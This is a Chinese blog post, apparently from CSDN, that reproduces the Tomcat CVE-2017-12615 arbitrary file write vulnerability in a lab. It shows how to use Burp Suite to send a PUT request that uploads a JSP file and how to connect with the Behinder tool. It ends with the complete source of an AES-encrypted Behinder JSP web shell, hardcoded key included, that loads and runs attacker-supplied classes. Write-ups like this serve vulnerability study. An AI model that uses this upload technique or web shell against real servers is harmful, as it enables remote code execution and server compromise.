Tomcat 任意文件写入漏洞 CVE-2017-12615

jiale321

于 2022-07-15 13:11:47 发布

阅读量857

点赞数

分类专栏：漏洞复现文章标签：网络安全

本文链接：https://blog.csdn.net/qq_42352268/article/details/125801920

版权

漏洞复现专栏收录该内容

1 篇文章 0 订阅

订阅专栏

本文介绍了如何利用Burp Suite将GET请求转换为PUT请求，并在目标网站上传一个JSP一句话木马。通过设置请求类型、构造数据包并利用冰蝎工具进行连接验证，成功创建了文件并执行了木马。这个过程揭示了Web应用程序可能面临的注入攻击风险。

摘要由CSDN通过智能技术生成

复现过程

靶场版本：Tomcat 8.5.19

在这里插入图片描述

1. 打开burp，访问目标网站。

这时，burp成功抓到数据包。

在这里插入图片描述
可以看到，这是一个GET请求，并且没有数据。我们需要的是PUT请求。

2. 右键，Repeater。修改传类型为 PUT ，生成的文件名为 test-001.jsp 。接着将 jsp 的一句话木马写入数据块中，放包。Response 返回 201（文件创建成功）。

在这里插入图片描述

3. 上冰蝎，直接连接，密码为 rebeyond 。

在这里插入图片描述

OK，连接成功

附上 jsp 一句话木马：

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
	U(ClassLoader c){
	super(c);
	}
	public Class g(byte []b){
		return super.defineClass(b,0,b.length);
	}
}%>
<%if (request.getMethod().equals("POST")){
	String k="e45e329feb5d925b";
	session.putValue("u",k);
	Cipher c=Cipher.getInstance("AES");
	c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
	new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>